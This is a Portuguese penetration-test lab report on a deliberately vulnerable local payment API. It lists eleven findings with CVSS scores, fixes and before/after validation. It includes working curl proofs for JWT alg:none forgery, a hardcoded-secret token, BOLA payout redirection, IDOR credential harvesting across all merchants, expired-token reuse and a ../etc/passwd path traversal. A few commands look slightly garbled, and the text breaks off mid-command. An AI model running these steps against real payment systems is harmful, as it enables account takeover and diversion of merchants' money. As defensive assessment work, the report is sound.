

Arara Pay: avaliação do laboratório

Candidato: Enzo Augusto Ferreira · **Data:** 07/10/2026 · **Time:** Tamborete Pay

Escopo: cinco arquivos em `src/` (`auth.ts`, `db.ts`, `merchants.controller.ts`, `reports.controller.ts`, `main.ts`). Todas as provas foram executadas contra a instância local em `http://localhost:3000`, com banco em memória e sem nenhum sistema real envolvido.

Resumo executivo

A API tem uma cadeia de falhas que termina em dinheiro saindo. A verificação de token aceita `alg:none`, então qualquer pessoa consegue forjar a identidade de qualquer lojista sem ter conta nem senha. E o endpoint que troca a conta de recebimento (payout) decide de quem é a conta olhando o corpo da requisição, e não o token. Juntas, as duas falhas permitem redirecionar o recebimento de qualquer lojista para a conta do fraudador, com o aviso por e-mail desligado na mesma chamada e sem nenhum registro de quem fez a troca.

Em paralelo, qualquer token lê o cadastro completo de qualquer lojista, com senha em texto plano, `api_key` e `webhook_secret` (que, para piorar, é o mesmo para todos). A primeira coisa a corrigir é a autorização da troca de payout junto com a verificação do JWT, no mesmo deploy. Uma sem a outra deixa o caminho crítico aberto.

Metodologia e ambiente

Li os cinco arquivos para levantar os pontos suspeitos, subi o lab (`npm install && npm start`, Node 22) e rodei cada ataque com `curl` numa única sessão, conferindo o efeito no estado da aplicação: o cadastro antes e depois da requisição, e o log do servidor. Os tokens forjados (`alg:none`, HS256 assinado com o segredo do código e um token já expirado) foram gerados com um script pequeno de HMAC, sem biblioteca externa, para a prova ficar auditável. Os blocos de terminal deste documento reproduzem a saída real dessa execução, e a transcrição crua está no Anexo A. A seção "depois" rodou contra o código corrigido num lab paralelo (porta 3001).

A severidade segue o **CVSS 4.0 base**, com o vetor completo em cada achado e o score reconferido no modelo oficial. Convenção de impacto: o que o sistema vulnerável sofre vai em VC/VI/VA; uma consequência a jusante só entra em SC/SI/SA quando é técnica e realizada (por isso SI:H no #7 e SC:L no #8). Prejuízo financeiro e reuso de senha são risco de negócio e não entram no score base; quando o encadeamento com outra falha muda o risco real, o score combinado está anotado no próprio achado.

Ranking de correção

A tabela está ordenada pelo CVSS 4.0 base, do maior para o menor. Nota não é ordem de correção: o #3 (troca de payout) pontua 8.6 isolado, mas encadeado com o #1 (`alg:none`) chega a 9.3, e é esse par que eu corrigiria primeiro, no mesmo deploy.

#	FALHA	SEVERIDADE (CVSS 4.0)	POR QUE NESSA POSIÇÃO
1	JWT aceita <code>alg:none</code>	CRÍTICA 9.3	Bypass total de autenticação sem conta nenhuma. Habilita a #3 e a #4.
2	Segredo do JWT fixo no código	CRÍTICA 9.3	Forja de identidade por um segundo caminho; o segredo é fraco e está no fonte.
3	Troca de payout sem checar dono (BOLA)	ALTA 8.6 ENC. 9.3	É a ação que move dinheiro. Um campo no corpo decide a vítima; encadeada com a #1 dispensa conta.

#	FALHA	SEVERIDADE (CVSS 4.0)	POR QUE NESSA POSIÇÃO
4	Vazamento do cadastro e senha em texto plano	ALTA 7.1 ENC. 8.7	Entrega senha, <code>api_key</code> e <code>webhook_secret</code> de todos. Takeover em massa.
5	Token sem expiração e <code>ignoreExpiration</code>	MÉDIA 6.9	Qualquer token vazado vale para sempre.
6	Login sem rate limit e sem MFA	MÉDIA 6.9	Força bruta de senha fraca. Não é o caminho mais curto na cadeia atual.
7	<code>webhook_secret</code> igual para todos	MÉDIA 6.3	Permite forjar "pagamento aprovado" de outro lojista.
8	Token e parâmetros em log (debug para CloudWatch)	MÉDIA 5.3	Canal de vazamento que alimenta a #4 e a #5.
9	Path traversal no relatório	MÉDIA 5.3	Entrada do cliente monta o caminho do arquivo sem normalizar.
10	Aviso ao lojista desligável pelo chamador	MÉDIA 5.3	Deixa a fraude silenciosa. Agrava a #3.
11	Sem trilha de auditoria (<code>payout_log</code> nunca escrito)	INFORMATIVA 0.0	Não é explorável sozinha, mas impede responder "alguém já usou isso?".

As observações menores (M1 a M4) estão no fim da seção de achados e não mudam o ranking.

Achados

1. Verificação do JWT aceita `alg:none` **CRÍTICA 9.3**

Onde: `auth.ts`, `lerToken()`, linhas 14 a 26.

CVSS 4.0 base 9.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

O que é. A função lê o cabeçalho do token para decidir como vai verificar. Quando o atacante manda `alg:none`, o código pula a assinatura e aceita o payload como verdade (linhas 21 a 26). É o próprio atacante quem escolhe não ter a assinatura checada. Com isso dá para forjar token para qualquer `sub` sem conhecer segredo nenhum.

```
# token forjado: header {"alg":"none"}, payload {"sub":"m_0093"}, SEM assinatura
enzo@kali:~/arara-lab$ FORGED='eyJhbGciOiJub25lIiwidHlwIjoiSldUIIn0.eyJzdWIiOiJtXzAwOTMifQ.'
enzo@kali:~/arara-lab$ curl -s -i localhost:3000/v1/merchants/m_0093 -H "Authorization: Bearer $FORGED"
HTTP/1.1 200 OK
{
  "id": "m_0093", "nome": "Curso Viver de Renda LTDA",
  "email": "financeiro@viverderenda.com",
  "senha": "arara123", "api_key": "sk_live_m0093_8f2a1c",
  "webhook_secret": "whsec_plataforma_unico",
  "payout_banco": "237", "payout_agencia": "0001", "payout_conta": "12345-6",
  "saldo_centavos": 4820000
}
```

Figura 1. Token forjado com `alg:none` lê o cadastro completo do `m_0093`, sem senha e sem segredo.

Encadeando com a #3, a troca de payout acontece sem nenhuma credencial. Basta um token forjado com `sub` qualquer:

```
# atacante NAO tem login. token forjado alg:none com sub arbitrario ('anon')
enzo@kali:~/arara-lab$ FORGED_NONE='eyJhbGciOiJub25lIiwidHlwIjoiSldUIIn0.eyJzdWIiOiJhbm9uIn0.'
# [antes] conta de recebimento do m_4821: 341 / 2020 / 98765-4
enzo@kali:~/arara-lab$ curl -s -i -X POST localhost:3000/v1/merchants/payout-account \
  -H "Authorization: Bearer $FORGED_NONE" \
  -d '{"merchant_id":"m_4821","banco":"001","agencia":"0001","conta":"13337-0","cpf_cnpj":"0000000000000000","notify":false}'
HTTP/1.1 201 Created
# [depois] conta de recebimento do m_4821, redirecionada sem nenhuma credencial:
banco=001 ag=0001 conta=13337-0
```

Figura 2. Cadeia `alg:none` + BOLA. Uma requisição anônima redireciona o recebimento do `m_4821`.

O impacto na Arara. Sozinha, já é bypass total de autenticação. Combinada com a #3, o atacante nem precisa de conta de lojista para desviar o recebimento de todo mundo: a #3 deixa de exigir um login cadastrado e passa a valer para qualquer um na internet.

O conserto. A regra é nunca deixar o token dizer como ele deve ser verificado. Tiro a leitura manual do cabeçalho e o ramo `alg:none`, e chamo `jwt.verify` com a lista de algoritmos travada em `['HS256']`. A própria lib rejeita o resto, inclusive `none`. Não quebra integrador, porque token de verdade é HS256 e continua valendo.

2. Segredo do JWT fixo no código **CRÍTICA 9.3**

Onde: `auth.ts`, linha 4, `JWT_SECRET = 'arara-2024'`.

CVSS 4.0 base 9.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

AT:N porque `arara-2024` é adivinhável, então a exploração não depende de uma pré-condição de posse do segredo.

O que é. O segredo que assina os tokens está escrito no fonte. Quem tiver o repositório, ou um vazamento dele, assina tokens HS256 válidos para qualquer lojista. É um caminho de forja que independe do `alg:none`. E tem o agravante de o segredo ser fraco, já que `arara-2024` é adivinhável até sem acesso ao código.

```
# assinamos um HS256 valido usando o segredo lido direto de src/auth.ts
enzo@kali:~/arara-lab$ SIGNED=$(jwt-sign --secret 'arara-2024' --sub m_5117)
enzo@kali:~/arara-lab$ curl -s -i localhost:3000/v1/merchants/m_5117 -H "Authorization: Bearer $SIGNED"
HTTP/1.1 200 OK
{ "id": "m_5117", "nome": "Ebook Emagrecimento Real",
  "api_key": "sk_live_m5117_c1d4f0", "senha": "mudar123", ... }
# o servidor tratou como legitimo um token que NOS assinamos
```

Figura 3. Token HS256 assinado pelo atacante com o segredo arara-2024 e aceito como legítimo.

O impacto na Arara. Qualquer pessoa com o segredo (repo, histórico de git, pipeline de CI, log) emite tokens de qualquer lojista por tempo indeterminado. Encadeado com a #3 e a #4, isso vira desvio de dinheiro e coleta de credenciais.

O conserto. O segredo sai do código e vai para um cofre ou variável de ambiente, com valor forte e aleatório de pelo menos 32 bytes. A rotação usa um identificador de chave (`kid`) e uma janela em que a chave antiga e a nova valem ao mesmo tempo, para não deslogar todo mundo de uma vez. Integração servidor a servidor usa `api_key`, não JWT.

3. Troca de payout sem validar titularidade (BOLA) ALTA 8.6 ENCADEADA 9.3

Onde: `merchants.controller.ts`, `trocarPayout()`, linhas 22 a 53.

CVSS 4.0 base 8.6 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Encadeada com o `alg:none` (#1), que derruba a exigência de token, sobe para 9.3 (Crítica). Esse é o cenário real.

O que é. O endpoint `POST /v1/merchants/payout-account` pega o `merchant_id` do corpo da requisição (linha 28) e atualiza a conta de recebimento daquele id. Em nenhum momento confere se o token pertence ao lojista alterado, então qualquer chamador autenticado troca a conta de qualquer lojista.

A prova. O atacante é o `m_4821`, com login legítimo. O alvo é o `m_0093`, que tem R\$ 48.200,00 de saldo.

```
# atacante = m_4821 (token proprio).  alvo = m_0093 (saldo R$ 48.200,00)
# [antes] conta de payout do m_0093: 237 / 0001 / 12345-6
enzo@kali:~/arara-lab$ curl -s -i -X POST localhost:3000/v1/merchants/payout-account \
  -H "Authorization: Bearer $TOKEN_m4821" \
  -d '{"merchant_id":"m_0093","banco":"999","agencia":"6666","conta":"00000-0","cpf_cnpj":"0000000000000000","notify":false}'
HTTP/1.1 201 Created
# [depois] conta de payout do m_0093, trocada e persistida:
banco=999 ag=6666 conta=00000-0 cnpj=0000000000000000
```

Figura 4. Payout do `m_0093` trocado com o token do `m_4821`. HTTP 201 e valor persistido (999/6666/00000-0).

Vale guardar para a defesa: o corpo da resposta devolve o registro do lojista como ele estava antes do `UPDATE`, porque o objeto é lido antes da escrita. Por isso a prova confirma a troca relendo o cadastro depois, e não pela resposta do `POST`.

O impacto na Arara. É o pior tipo de falha para um gateway, porque o dinheiro do lojista cai na conta do fraudador. Com um laço sobre os ids, o atacante reescreve o payout da base inteira antes do próximo ciclo de liquidação e desvia tudo que seria repassado. Nos três lojistas do lab isso dá R\$ 163.000 em saldo; em produção é o volume de cada lojista por ciclo. O prejuízo bate na Arara duas vezes, porque ela perde o dinheiro e ainda indeniza o lojista lesado, já que a falha é de controle da plataforma.

O conserto. O id a ser alterado tem que vir do token (`claims.sub`), nunca do corpo. Se um dia existir uma conta-mãe operando sub-lojistas, aí se valida explicitamente que o `claims.sub` tem permissão sobre aquele `merchant_id`, em vez de confiar no campo. Isso não quebra integrador, porque o chamador legítimo só mexe na própria conta e para ele o `merchant_id` já é igual ao `sub`. Dá para fazer em duas fases, primeiro só registrando e alertando quando o `sub` e o `merchant_id` divergem, e depois bloqueando. Por cima disso, eu pediria 2FA para mudar payout e gravaria a alteração na `payout_log`.

4. Cadastro completo exposto e senha em texto plano ALTA 7.1 ENCADEADA 8.7

Onde: `merchants.controller.ts`, `consultar()` linhas 55 a 63 e resposta de `trocarPayout` (linha 52); a comparação `m.senha !== body.senha` está em `login()`, linha 16; em `db.ts` fica a coluna `senha` em texto plano (schema e seed).

CVSS 4.0 base 7.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Encadeado com o `alg:none` (#1) sobe para 8.7: ler o cadastro de todos deixa de exigir conta.

O que é. O `GET /v1/merchants/:id` devolve a linha inteira do lojista para qualquer token, sem conferir dono, e isso inclui `senha`, `api_key` e `webhook_secret`. A senha está guardada em texto plano.

```
# token LEGITIMO do m_4821 lendo o cadastro do m_5117 (outro dono)
enzo@kali:~/arara-lab$ curl -s -i localhost:3000/v1/merchants/m_5117 -H "Authorization: Bearer $TOKEN_m4821"
HTTP/1.1 200 OK
{
  "id": "m_5117", "nome": "Ebook Emagrecimento Real",
  "email": "adm@emagrecimentoreal.com",
  "senha": "mudar123", "api_key": "sk_live_m5117_c1d4f0",
  "webhook_secret": "whsec_plataforma_unico",
  "payout_banco": "260", "payout_agencia": "0001", "payout_conta": "55555-5",
  "saldo_centavos": 1870000
}
```

Figura 5. Token do `m_4821` lendo o cadastro de outro lojista (IDOR).

```
# loop forjando alg:none para cada id e extraíndo os segredos
enzo@kali:~/arara-lab$ for id in m_0093 m_4821 m_5117; do \
  curl -s $B/v1/merchants/$id -H "Authorization: Bearer ${forge_none $id}"; \
  done | jq -r '[:id,.senha,.api_key,.webhook_secret] | @tsv'
m_0093  arara123      sk_live_m0093_8f2alc  whsec_plataforma_unico
m_4821  senha2024      sk_live_m4821_3b9e7d  whsec_plataforma_unico
m_5117  mudar123      sk_live_m5117_c1d4f0  whsec_plataforma_unico
```

Figura 6. Enumeração da base inteira: `senha`, `api_key` e `webhook_secret` de todos os lojistas.

O impacto na Arara. Com um único token, ou com um `alg:none` da #1, o atacante varre a base e coleta senha, chave de API e segredo de webhook de todo mundo. Como a senha está em texto plano, quem lê o banco, um dump ou um backup já sai com as credenciais na mão, sem precisar quebrar hash. Se o lojista reusa senha, o estrago passa da Arara. É credencial e dado de cliente vazando em massa, com todo o peso de LGPD.

O conserto. A API passa a devolver só o que o cliente precisa (um DTO com id, nome, e-mail, payout mascarado e saldo) e nunca senha, `api_key` ou `webhook_secret`. Coloco a checagem de dono no `GET /:id`, igual à #3. Senha vai para hash forte (bcrypt ou argon2), com migração sem logout, regravando com hash no próximo login feito com a senha antiga. Rotaciono as `api_key`s e os `webhook_secret`s já expostos. Se algum integrador faz parse do corpo inteiro, versiono o endpoint numa v2.

5. Token sem expiração e `ignoreExpiration` ligado MÉDIA 6.9

Onde: `auth.ts`, `assinarToken()` linha 8 e `lerToken()` linha 31.

CVSS 4.0 base 6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

O que é. O token é assinado sem `exp`, e a verificação ainda passa `ignoreExpiration:true`. O resultado é que o token não expira nunca, e mesmo um token com `exp` no passado é aceito.

```
# login legítimo do lojista m_4821
enzo@kali:~/arara-lab$ TOKEN=$(curl -s -X POST localhost:3000/v1/auth/login \
-d '{"email":"contato@alphatrader.com","senha":"senha2024"}' | jq -r .token)
# decodificando o payload (base64). repare: NAO ha campo exp
enzo@kali:~/arara-lab$ echo $TOKEN | cut -d. -f2 | base64 -d
{"sub":"m_4821","iat":1791405186}
```

Figura 7. Payload do token legítimo. Não existe campo `exp`.

```
# token com exp em novembro de 2023, anos no passado
enzo@kali:~/arara-lab$ echo $EXPIRADO | cut -d. -f2 | base64 -d
{"sub":"m_5117","iat":1700000000,"exp":1700003600}
enzo@kali:~/arara-lab$ curl -s -i localhost:3000/v1/merchants/m_5117 -H "Authorization: Bearer $EXPIRADO"
HTTP/1.1 200 OK
# aceito normalmente: a verificacao passa ignoreExpiration:true
```

Figura 8. Token com `exp` em 2023 aceito do mesmo jeito.

O impacto na Arara. Qualquer token que vaze uma vez (ver #8) vale para sempre. Não existe janela que feche sozinha, nem jeito de deixar o token velho morrer. Revogação vira um problema manual que o sistema hoje não resolve.

O conserto. Token de acesso curto, na casa de 15 minutos, com `exp`, e fora o `ignoreExpiration`. Para manter sessão longa, um refresh token revogável. Vale um período de transição avisando os backends para passarem a usar `api_key`.

6. Login sem rate limit e sem MFA MÉDIA 6.9

Onde: `merchants.controller.ts`, `login()`, linhas 9 a 20.

CVSS 4.0 base 6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

O que é. O login compara e-mail e senha sem limite de tentativas e sem segundo fator. As senhas do seed são fracas (`arara123`, `senha2024`, `mudar123`).

O impacto na Arara. Dá para fazer força bruta e credential stuffing. Fica em baixa prioridade porque a #3 e a #1 já dão acesso sem senha, mas no dia em que a cadeia crítica estiver corrigida é por aqui que o atacante volta a entrar.

O conserto. Rate limit por IP e por conta, backoff e lockout progressivo, e MFA obrigatório para ações sensíveis como a troca de payout. Política de senha forte e checagem contra senhas já vazadas no momento do cadastro.

7. `webhook_secret` igual para todos os lojistas MÉDIA 6.3

Onde: `db.ts`, `seed()`. O `whsec_plataforma_unico` aparece nos três lojistas, como dá para ver na Figura 6.

CVSS 4.0 base 6.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

O que é. Todo lojista compartilha o mesmo segredo de webhook. Como ele ainda vaza pela resposta da API (#4), qualquer um que leu um cadastro consegue assinar webhooks como se fosse a plataforma, inclusive para outro lojista.

O impacto na Arara. O webhook é o que avisa o lojista que "o pagamento foi aprovado". Com segredo único, o fraudador forja essa notificação para o sistema de um lojista e dispara a entrega de um produto por uma venda que nunca foi paga. É prejuízo direto para o lojista e disputa ou chargeback contra a Arara. No lab não há endpoint que receba webhook, então esse abuso na ponta que consome a notificação é um risco arquitetural inferido; o que está provado aqui é o segredo igual nos três e vazando pela API (daí o SI:H no vetor, impacto no sistema a jusante).

O conserto. Segredo único por lojista, aleatório, guardado cifrado e nunca devolvido pela API depois de criado. Cada webhook é assinado e verificado com o segredo daquele lojista. Rotação com janela aceitando o antigo e o novo.

8. Token e parâmetros caindo no log (debug para CloudWatch) MÉDIA 5.3

Onde: `reports.controller.ts`, linha 15.

CVSS 4.0 base 5.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

O que é. O endpoint de conciliação loga o header `Authorization` inteiro e todos os parâmetros, num nível debug que vai parar no CloudWatch.

```
# linha gerada pelo endpoint de relatorio: Bearer inteiro em texto
enzo@kali:~/arara-lab$ grep 'conciliacao auth=' server.log | tail -1
[Nest] 947 - 10/07/2026, 8:33:06 PM  DEBUG [reports] conciliacao auth=Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJtXzQ4MjE0IiwiaWF0IjE3OTE0MDUxODZ9.cvjbfjbHQjt0YC2o
qC-mz1dkx4T_tABY7UqMlzbPhvY params={"arquivo":"out.csv"}
```

Figura 9. Bearer inteiro gravado no log do servidor (o payload decodifica para `sub=m_4821`).

O impacto na Arara. O token inteiro fica guardado no log. Quem tem acesso ao CloudWatch (um time interno grande, um integrador de observabilidade, ou um vazamento de logs) replica a sessão. E como o token não expira (#5), cada linha de log é uma credencial permanente.

O conserto. Nunca logar o header de autorização nem o corpo ou os parâmetros crus. No máximo, registro o `sub` já verificado e um id de requisição. Baixo o nível do log, coloco redação de segredos no pipeline e restrinjo o acesso e a retenção no CloudWatch. Os tokens que já foram parar no log precisam ser rotacionados.

9. Path traversal no relatório de conciliação MÉDIA 5.3

Onde: `reports.controller.ts`, linha 18, ``relatorios/${q.arquivo}``.

CVSS 4.0 base 5.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

O que é. O caminho do arquivo é montado concatenando a entrada do cliente sem normalizar nada. Um `../` escapa do prefixo `relatorios/`.

```
enzo@kali:~/arara-lab$ curl -s -i -G localhost:3000/v1/reports/conciliacao \
-H "Authorization: Bearer $TOKEN_m4821" \
--data-urlencode 'arquivo=../../../../etc/passwd'
HTTP/1.1 200 OK
{
  "merchant": "m_4821",
  "download_url": "https://arara-conciliacao.s3.amazonaws.com/relatorios/../../../../etc/passwd",
  "arquivo": "relatorios/../../../../etc/passwd"
}
```

Figura 10. O ../ escapa do prefixo de relatórios na URL gerada.

O impacto na Arara. Hoje o endpoint só monta e devolve a URL, não lê o arquivo, então o alcance imediato é limitado. Mas a URL já aponta para fora da pasta de relatórios. Ler objetos de outros lojistas no S3 (conciliações, dumps, chaves) é uma escalada condicional, que depende de como o S3, ou um proxy ou CDN na frente, trata o ../. É por esse cenário ser não realizado hoje que o `sc` fica `N` no vetor base; se o storage normalizar o caminho, ele vira dado financeiro de terceiros vazando. O link ainda é apresentado como "assinado", mas não expira e não tem dono.

O conserto. Não aceitar caminho vindo do cliente. Recebo um id de relatório, valido contra uma allowlist (`^[A-Za-z0-9_-]{1,64}$`) e monto a chave no servidor, escopada ao `sub` do token. Qualquer entrada com separador de caminho ou `..` é rejeitada. E uso URL pré-assinada de verdade, que expira e é escopada ao lojista.

10. Aviso ao lojista desligável pelo chamador MÉDIA 5.3

Onde: `merchants.controller.ts`, linha 44, `if (body.notify !== false)`.

CVSS 4.0 base 5.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

O que é. Quem chama a troca de payout é quem decide se o lojista vai ser avisado, mandando `notify:false` (dá para ver nas Figuras 4 e 2).

O impacto na Arara. É isso que deixa o ataque da #3 silencioso. O fraudador troca a conta, desliga o aviso, e o lojista só percebe quando o dinheiro não cai. A janela de detecção vai praticamente a zero.

O conserto. Notificar mudança de dado sensível é decisão da plataforma, não do chamador. Tiro o `notify` da API e aviso sempre, por um canal fora da sessão (e-mail ou SMS cadastrado), com confirmação antes de efetivar.

11. Sem trilha de auditoria INFORMATIVA 0.0

Onde: `merchants.controller.ts`, linhas 48 a 49. A tabela `payout_log` (`db.ts`, linhas 21 a 28) existe e nunca recebe um `INSERT`, o que confirmei buscando no fonte.

CVSS 4.0 base 0.0 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N

O CVSS base não pontua ausência de trilha; a falha entra na fila de correção como lacuna forense.

O que é. A `payout_log`, que teria quem alterou, a conta antiga, a conta nova e quando, está no schema e nunca é escrita. Toda troca de payout acontece sem deixar rastro.

O impacto na Arara. Sozinha não é explorável, mas é o motivo de não conseguir responder "alguém já usou essa falha?". Sem log, a investigação depende de fontes de fora da aplicação.

O conserto. Gravar na `payout_log` toda alteração: o `sub` do token, a conta antiga, a conta nova, quando e de qual origem ou IP. Append-only, com alerta disparado em mudança de payout.

Observações adicionais (menores)

Fora os onze, anotei quatro coisas menores, de severidade baixa, que não mudam o ranking mas que eu colocaria num report de verdade por completude.

M1. Um token com assinatura inválida faz o `jwt.verify` lançar, e no lab original a exceção não é tratada, então o NestJS responde `500 Internal Server Error` em vez de `401` (ver Anexo A, E4). Atrapalha a monitoração, já que 500 em massa ou vira alarme errado ou some no ruído, e, dependendo da configuração, um 500 pode vaziar stack trace. O conserto já aplicado envolve o `lerToken` num try/catch que devolve 401.

M2. O `GET /v1/merchants/:id` responde 404 para id inexistente e 200 para id existente, o que já deixa mapear quais ids existem antes mesmo de ler qualquer dado. A checagem de dono da #4 fecha isso.

M3. A resposta expõe o nome do bucket S3 (`arara-conciliacao.s3.amazonaws.com`), vazando nomenclatura de infraestrutura que ajuda numa tentativa de acesso direto ou de enumeração de bucket. O conserto é usar URL pré-assinada opaca.

M4. A comparação de senha com `!=='` não é constante no tempo. Além do problema do texto plano da #4, isso vaza por timing. É marginal sobre HTTP, mas desaparece de graça quando se adota `bcrypt.compare`.

Pergunta de julgamento

Uma das falhas deixa trocar a conta de recebimento de qualquer lojista. Você corrige o código hoje. Como você descobre se alguém já usou isso antes de você chegar, e o que você faz com o dinheiro que já saiu?

O código não guarda trilha nenhuma, já que a `payout_log` existe e nunca foi escrita, então não dá para confiar só no banco da aplicação. O estado atual mostra a conta de agora, não quem a trocou nem quando. A reconstrução vem de fontes independentes, cruzadas numa linha do tempo. Começo pelos backups e pelo binlog ou WAL do banco, porque comparando snapshots ao longo do tempo eu acho toda troca de payout e a data de cada uma. Depois vou nos logs de aplicação e do balanceador ou WAF atrás das chamadas em `POST /merchants/payout-account`, e aqui o próprio log vazado acaba ajudando. Cruzo a identidade autenticada (o `sub` do token) com o `merchant_id` do corpo, e toda requisição em que o `sub` é diferente do `merchant_id`, ou que chegou com token `alg:none`, é forte candidata a abuso. Somo a isso os registros do rail bancário e do adquirente sobre para onde o dinheiro de fato foi, comparados com a conta que cada lojista cadastrou originalmente, e os chamados de suporte reclamando de repasse que não caiu. O período anterior ao que os logs cobrem eu trato como presumidamente comprometido, e confirmo com cada lojista, um a um, que a conta de payout atual é mesmo dele.

Com o dinheiro, separo conter de recuperar. Contenção vem primeiro. Congelo os repasses para qualquer conta alterada na janela suspeita e só libero depois de reconfirmar a titularidade fora da sessão. Para o que já saiu, aciono o banco e o adquirente para tentar reversão ou recall das transferências mais recentes, porque quanto mais fresco mais recuperável, registro boletim de fraude e preservo as evidências. Em paralelo, indenizo os lojistas afetados conforme contrato e regulação, sem esperar a recuperação, já que a falha foi de controle da plataforma e não deles. Depois persigo o dinheiro nas contas-laranja que receberam, pela via bancária e pela via policial. Jurídico e compliance entram desde o começo, e, como houve exposição de dado pessoal no vazamento de cadastro, trato os deveres de notificação de incidente sob a LGPD. Uma vez que o valor cai numa conta-laranja e é sacado, recuperação integral é improvável. O objetivo real, então, é conter rápido, deixar o lojista inteiro e fechar o buraco, com confirmação fora de banda para troca de payout.

Código corrigido (o "depois")

Os arquivos completos estão na pasta `corrigido/`. Os pontos centrais são estes.

`auth.ts`: mata o `alg:none`, tira o segredo do código e devolve a expiração

```
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
  throw new Error('JWT_SECRET ausente ou fraco'); // nao sobe inseguro (#2)
}
export function assinarToken(merchantId: string): string {
  return jwt.sign({ sub: merchantId }, JWT_SECRET, {
    algorithm: 'HS256', expiresIn: '15m', // expira (#5)
  });
}
export function lerToken(authorization?: string): { sub: string } {
  const token = (authorization || '').replace(/^Bearer\s+/i, '').trim();
  if (!token) throw new UnauthorizedException('token ausente');
  // sem leitura de header, sem ramo 'none': algoritmo travado (#1), exp volta a valer (#5)
  return jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] }) as { sub: string };
}
```

`merchants.controller.ts`: dono vem do token, DTO sem segredos e auditoria

```
const merchantId = claims.sub; // alvo vem do token (#3)
if (body.merchant_id && body.merchant_id !== merchantId)
  throw new ForbiddenException('nao autorizado a alterar outro lojista');
if (!body.step_up_ok) // 2FA p/ dado financeiro (#3)
  throw new ForbiddenException('confirmacao de segundo fator obrigatoria');
// ... UPDATE ...
db.prepare(`INSERT INTO payout_log
  (merchant_id, quando, conta_antiga, conta_nova, alterado_por)
  VALUES (?, ?, ?, ?, ?)`).run(merchantId, new Date().toISOString(),
  contaAntiga, contaNova, claims.sub); // auditoria (#11)
// resposta via DTO, sem senha/api_key/webhook_secret (#4)
// GET /:id -> if (claims.sub !== id) throw ForbiddenException (#3/#4)
// login -> bcrypt.compare + rate limit/lockout (#4/#6/M4)
```

`reports.controller.ts`: sem log de token e sem traversal

```
const ref = String(q.ref ?? '');
if (!/^[A-Za-z0-9_-]{1,64}$/.test(ref))
  throw new BadRequestException('referencia invalida'); // barra '/' e '..' (#9)
const chave = `relatorios/${claims.sub}/${ref}.csv`; // escopado ao dono
// nao logar Authorization nem params crus (#8); URL pre-assinada que expira (#9)
```

Validação das correções, antes e depois

Apliquei as correções num lab paralelo (porta 3001, segredo via ambiente) e rodei os mesmos ataques de novo.

ATAQUE	ANTES	DEPOIS
Forja <code>alg:none</code>	200 OK	401
Trocar payout de outro (BOLA)	201	403
Token forjado ou expirado	200 OK	401
Ler cadastro de outro (IDOR)	200 OK	403
Token com segredo <code>arara-2024</code>	200 OK	401
Path traversal	URL fora da pasta	400
Trocar a própria conta (happy path)	201	201 (ok)

```
# m_4821 (token legitimo) tentando trocar a conta do m_0093
enzo@kali:~/arara-lab$ curl -s -i -X POST localhost:3001/v1/merchants/payout-account \
    -H "Authorization: Bearer $TOKEN_m4821" -d '{"merchant_id":"m_0093", ...}'
HTTP/1.1 403 Forbidden
{"message":"nao autorizado a alterar outro lojista","error":"Forbidden","statusCode":403}
# sub do token != merchant_id do corpo -> recusado
```

Figura 11. Depois: BOLA bloqueado (403). O dono passa a vir do token.

```
# mesmo token forjado alg:none do ataque original
enzo@kali:~/arara-lab$ curl -s -i localhost:3001/v1/merchants/m_0093 -H "Authorization: Bearer
$FORGED_NONE"
HTTP/1.1 401 Unauthorized
{"message":"token invalido","error":"Unauthorized","statusCode":401}
# jwt.verify com algorithms:['HS256'] rejeita o 'none' (a execucao vira 401, nao 500)
```

Figura 12. Depois: token `alg:none` rejeitado (401).

```
# m_4821 tentando ler o cadastro do m_5117 (outro dono)
enzo@kali:~/arara-lab$ curl -s -i localhost:3001/v1/merchants/m_5117 -H "Authorization: Bearer
$TOKEN_m4821"
HTTP/1.1 403 Forbidden
# lendo o PRÓPRIO cadastro: DTO mascarado, sem senha/api_key/webhook_secret
enzo@kali:~/arara-lab$ curl -s localhost:3001/v1/merchants/m_4821 -H "Authorization: Bearer
$TOKEN_m4821"
{"id":"m_4821","nome":"Mentoria Alpha Trader","email":"contato@alphatrader.com",
 "payout_banco":"341","payout_agencia":"2020","payout_conta":"****-4","saldo_centavos":9610000}
```

Figura 13. Depois: IDOR bloqueado e resposta via DTO, sem senha, `api_key` ou `webhook_secret`.

```
# mesma tentativa de ../ no parametro
enzo@kali:~/arara-lab$ curl -s -i -G localhost:3001/v1/reports/conciliacao \
    -H "Authorization: Bearer $TOKEN_m4821" --data-urlencode 'arquivo=../../etc/passwd'
HTTP/1.1 400 Bad Request
{"message":"referencia de relatorio invalida","error":"Bad Request","statusCode":400}
# fora do formato [A-Za-z0-9_-] -> 400
```

Figura 14. Depois: path traversal rejeitado (400).

```
# m_4821 trocando a PRÓPRIA conta (merchant_id == sub) com segundo fator
enzo@kali:~/arara-lab$ curl -s -i -X POST localhost:3001/v1/merchants/payout-account \
-H "Authorization: Bearer $TOKEN_m4821" \
